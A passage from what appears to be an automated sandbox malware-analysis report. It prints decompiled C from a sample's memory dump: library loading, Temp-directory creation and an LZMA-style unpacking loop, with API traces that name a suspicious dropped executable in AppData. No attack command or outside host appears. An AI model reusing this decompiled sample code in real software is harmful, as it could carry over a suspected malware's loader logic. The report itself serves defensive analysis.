				 *(_t34 - 4) = 1;
				if(__eflags < 0) {
					_push(0xffffffe7);
					L15:
					E00401423();
					L16:
					 *0x423f08 =  *0x423f08 +  *(_t34 - 4);
					return 0;
				}
				_t32 = E004029F6(0xfffffff0);
				 *(_t34 + 8) = E004029F6(1);
				if( *((intOrPtr*)(_t34 - 0x14)) == __ebx) {
					L3:
					_t18 = LoadLibraryExA(_t32, _t27, 8); // executed
					_t30 = _t18;
					if(_t30 == _t27) {
						_push(0xfffffff6);
						goto L15;
					}
					L4:
					_t33 = GetProcAddress(_t30,  *(_t34 + 8));
					if(_t33 == _t27) {
						E00404D7B(0xfffffff7,  *(_t34 + 8));
					} else {
						 *(_t34 - 4) = _t27;
						if( *((intOrPtr*)(_t34 - 0x1c)) == _t27) {
							 *_t33( *((intOrPtr*)(_t34 - 0x34)), 0x400, 0x424000, 0x40af50, 0x409000); // executed
						} else {
							E00401423( *((intOrPtr*)(_t34 - 0x1c)));
							if( *_t33() != 0) {
								 *(_t34 - 4) = 1;
							}
						}
					}
					if( *((intOrPtr*)(_t34 - 0x18)) == _t27 && E004034C6(_t30) != 0) {
						FreeLibrary(_t30); // executed
					}
					goto L16;
				}
				_t26 = GetModuleHandleA(_t32); // executed
				_t30 = _t26;
				if(_t30 != __ebx) {
					goto L4;
				}
				goto L3;
			}

APIs

GetModuleHandleA.KERNELBASE(00000000,00000001,000000F0), ref: 00401F7C

Part of subcall function 00404D7B: lstrlenA.KERNEL32(0041FC50,00000000,0040F020,00000000,?,?,?,?,?,?,?,?,?,00402F8B,00000000,?), ref: 00404DB4
Part of subcall function 00404D7B: lstrlenA.KERNEL32(00402F8B,0041FC50,00000000,0040F020,00000000,?,?,?,?,?,?,?,?,?,00402F8B,00000000), ref: 00404DC4
Part of subcall function 00404D7B: lstrcatA.KERNEL32(0041FC50,00402F8B,00402F8B,0041FC50,00000000,0040F020,00000000), ref: 00404DD7
Part of subcall function 00404D7B: SetWindowTextA.USER32(0041FC50,0041FC50), ref: 00404DE9
Part of subcall function 00404D7B: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404E0F
Part of subcall function 00404D7B: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404E29
Part of subcall function 00404D7B: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404E37

LoadLibraryExA.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00401F8C
GetProcAddress.KERNEL32(00000000,?), ref: 00401F9C
FreeLibrary.KERNELBASE(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 00402007

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: 71306b1134231061c89694e0e173e72c12ff72d2ee8c3f8387a1942ab3f7262f
Instruction ID: d4347cebb671b603d0a5d412fc90ce50d757f993dc699470b494ace3858b78d6
Opcode Fuzzy Hash: 71306b1134231061c89694e0e173e72c12ff72d2ee8c3f8387a1942ab3f7262f
Instruction Fuzzy Hash: 7221EE72D04216ABCF107FA4DE89A6E75B06B44359F204337F611B52E0D77C4941965E

Uniqueness

Uniqueness Score: -1.00%

Function 00403097, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00403097(void* __eflags) {
				void* _t2;
				void* _t5;
				CHAR* _t6;

				_t6 = "C:\\Users\\engineer\\AppData\\Local\\Temp\\";
				E00405C3F(_t6);
				_t2 = E0040553D(_t6);
				if(_t2 != 0) {
					E004054D0(_t6);
					CreateDirectoryA(_t6, 0); // executed
					_t5 = E004056E3("1033", _t6); // executed
					return _t5;
				} else {
					return _t2;
				}
			}

0x00403098
0x0040309e
0x004030a4
0x004030ab
0x004030b0
0x004030b8
0x004030c4
0x004030ca
0x004030ae
0x004030ae
0x004030ae

APIs

Part of subcall function 00405C3F: CharNextA.USER32(?,*?|<>/":,00000000,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405C97
Part of subcall function 00405C3F: CharNextA.USER32(?,?,?,00000000), ref: 00405CA4
Part of subcall function 00405C3F: CharNextA.USER32(?,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405CA9
Part of subcall function 00405C3F: CharPrevA.USER32(?,?,"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405CB9

CreateDirectoryA.KERNELBASE(C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 004030B8

Strings

1033, xrefs: 004030BF
C:\Users\user\AppData\Local\Temp\, xrefs: 00403098, 0040309D, 004030A3, 004030AF, 004030B7, 004030BE

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID: 1033$C:\Users\user\AppData\Local\Temp\
API String ID: 4115351271-3512041753
Opcode ID: 6fc6148b77ece9d346d6d7cc43375dab10df03dac4f70bfb46dffa123947e942
Instruction ID: 14cf73edb083f9294524d0cb591bdba299ebaa8e37fda96f2dae1f3ab35ccfa6
Opcode Fuzzy Hash: 6fc6148b77ece9d346d6d7cc43375dab10df03dac4f70bfb46dffa123947e942
Instruction Fuzzy Hash: 95D0C92160BD3032D66136263D0AFDF155C8F5236EFA1447BF809B61CA5B6C6A8219FF

Uniqueness

Uniqueness Score: -1.00%

Function 004063DD, Relevance: 5.2, APIs: 4, Instructions: 236
COMMON

Download Yara Rule

C-Code - Quality: 99%

			E004063DD() {
				signed int _t530;
				void _t537;
				signed int _t538;
				signed int _t539;
				unsigned short _t569;
				signed int _t579;
				signed int _t607;
				void* _t627;
				signed int _t628;
				signed int _t635;
				signed int* _t643;
				void* _t644;

				L0:
				while(1) {
					L0:
					_t530 =  *(_t644 - 0x30);
					if(_t530 >= 4) {
					}
					 *(_t644 - 0x40) = 6;
					 *(_t644 - 0x7c) = 0x19;
					 *((intOrPtr*)(_t644 - 0x58)) = (_t530 << 7) +  *(_t644 - 4) + 0x360;
					while(1) {
						L145:
						 *(_t644 - 0x50) = 1;
						 *(_t644 - 0x48) =  *(_t644 - 0x40);
						while(1) {
							L149:
							if( *(_t644 - 0x48) <= 0) {
								goto L155;
							}
							L150:
							_t627 =  *(_t644 - 0x50) +  *(_t644 - 0x50);
							_t643 = _t627 +  *((intOrPtr*)(_t644 - 0x58));
							 *(_t644 - 0x54) = _t643;
							_t569 =  *_t643;
							_t635 = _t569 & 0x0000ffff;
							_t607 = ( *(_t644 - 0x10) >> 0xb) * _t635;
							if( *(_t644 - 0xc) >= _t607) {
								 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t607;
								 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t607;
								_t628 = _t627 + 1;
								 *_t643 = _t569 - (_t569 >> 5);
								 *(_t644 - 0x50) = _t628;
							} else {
								 *(_t644 - 0x10) = _t607;
								 *(_t644 - 0x50) =  *(_t644 - 0x50) << 1;
								 *_t643 = (0x800 - _t635 >> 5) + _t569;
							}
							if( *(_t644 - 0x10) >= 0x1000000) {
								L148:
								_t487 = _t644 - 0x48;
								 *_t487 =  *(_t644 - 0x48) - 1;
								L149:
								if( *(_t644 - 0x48) <= 0) {
									goto L155;
								}
								goto L150;
							} else {
								L154:
								L146:
								if( *(_t644 - 0x6c) == 0) {
									L169:
									 *(_t644 - 0x88) = 0x18;
									L170:
									_t579 = 0x22;
									memcpy( *(_t644 - 0x90), _t644 - 0x88, _t579 << 2);
									_t539 = 0;
									L172:
									return _t539;
								}
								L147:
								 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
								 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
								_t484 = _t644 - 0x70;
								 *_t484 =  &(( *(_t644 - 0x70))[1]);
								 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
								goto L148;
							}
							L155:
							_t537 =  *(_t644 - 0x7c);
							 *((intOrPtr*)(_t644 - 0x44)) =  *(_t644 - 0x50) - (1 <<  *(_t644 - 0x40));
							while(1) {
								L140:
								 *(_t644 - 0x88) = _t537;
								while(1) {
									L1:
									_t538 =  *(_t644 - 0x88);
									if(_t538 > 0x1c) {
										break;
									}
									L2:
									switch( *((intOrPtr*)(_t538 * 4 +  &M0040684B))) {
										case 0:
											L3:
											if( *(_t644 - 0x6c) == 0) {
												goto L170;
											}
											L4:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t538 =  *( *(_t644 - 0x70));
											if(_t538 > 0xe1) {
												goto L171;
											}
											L5:
											_t542 = _t538 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t581);
											_push(9);
											_pop(_t582);
											_t638 = _t542 / _t581;
											_t544 = _t542 % _t581 & 0x000000ff;
											asm("cdq");
											_t633 = _t544 % _t582 & 0x000000ff;
											 *(_t644 - 0x3c) = _t633;
											 *(_t644 - 0x1c) = (1 << _t638) - 1;
											 *((intOrPtr*)(_t644 - 0x18)) = (1 << _t544 / _t582) - 1;
											_t641 = (0x300 << _t633 + _t638) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t644 - 0x78))) {
												L10:
												if(_t641 == 0) {
													L12:
													 *(_t644 - 0x48) =  *(_t644 - 0x48) & 0x00000000;
													 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t641 = _t641 - 1;
													 *((short*)( *(_t644 - 4) + _t641 * 2)) = 0x400;
												} while (_t641 != 0);
												goto L12;
											}
											L6:
											if( *(_t644 - 4) != 0) {
												GlobalFree( *(_t644 - 4)); // executed
											}
											_t538 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t644 - 4) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t644 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L157:
												 *(_t644 - 0x88) = 1;
												goto L170;
											}
											L14:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x40) =  *(_t644 - 0x40) | ( *( *(_t644 - 0x70)) & 0x000000ff) <<  *(_t644 - 0x48) << 0x00000003;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t45 = _t644 - 0x48;
											 *_t45 =  *(_t644 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t644 - 0x48) < 4) {
												goto L13;
											}
											L16:
											_t550 =  *(_t644 - 0x40);
											if(_t550 ==  *(_t644 - 0x74)) {
												L20:
												 *(_t644 - 0x48) = 5;
												 *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) =  *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											L17:
											 *(_t644 - 0x74) = _t550;
											if( *(_t644 - 8) != 0) {
												GlobalFree( *(_t644 - 8)); // executed
											}
											_t538 = GlobalAlloc(0x40,  *(_t644 - 0x40)); // executed
											 *(_t644 - 8) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t557 =  *(_t644 - 0x60) &  *(_t644 - 0x1c);
											 *(_t644 - 0x84) = 6;
											 *(_t644 - 0x4c) = _t557;
											_t642 =  *(_t644 - 4) + (( *(_t644 - 0x38) << 4) + _t557) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L158:
												 *(_t644 - 0x88) = 3;
												goto L170;
											}
											L22:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											_t67 = _t644 - 0x70;
											 *_t67 =  &(( *(_t644 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L23:
											 *(_t644 - 0x48) =  *(_t644 - 0x48) - 1;
											if( *(_t644 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t559 =  *_t642;
											_t626 = _t559 & 0x0000ffff;
											_t596 = ( *(_t644 - 0x10) >> 0xb) * _t626;
											if( *(_t644 - 0xc) >= _t596) {
												 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t596;
												 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t596;
												 *(_t644 - 0x40) = 1;
												_t560 = _t559 - (_t559 >> 5);
												__eflags = _t560;
												 *_t642 = _t560;
											} else {
												 *(_t644 - 0x10) = _t596;
												 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
												 *_t642 = (0x800 - _t626 >> 5) + _t559;
											}
											if( *(_t644 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t644 - 0x6c) == 0) {
												L168:
												 *(_t644 - 0x88) = 5;
												goto L170;
											}
											L138:
											 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L139:
											_t537 =  *(_t644 - 0x84);
											L140:
											 *(_t644 - 0x88) = _t537;
											goto L1;
										case 6:
											L25:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L36:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L26:
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												L35:
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												L32:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											L66:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												L68:
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											L67:
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											L70:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											L73:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											L74:
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											L75:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											L82:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L84:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L83:
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											L85:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L164:
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											L100:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L159:
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											L38:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											L40:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												L45:
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L160:
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											L47:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												L49:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													L53:
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L161:
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											L59:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
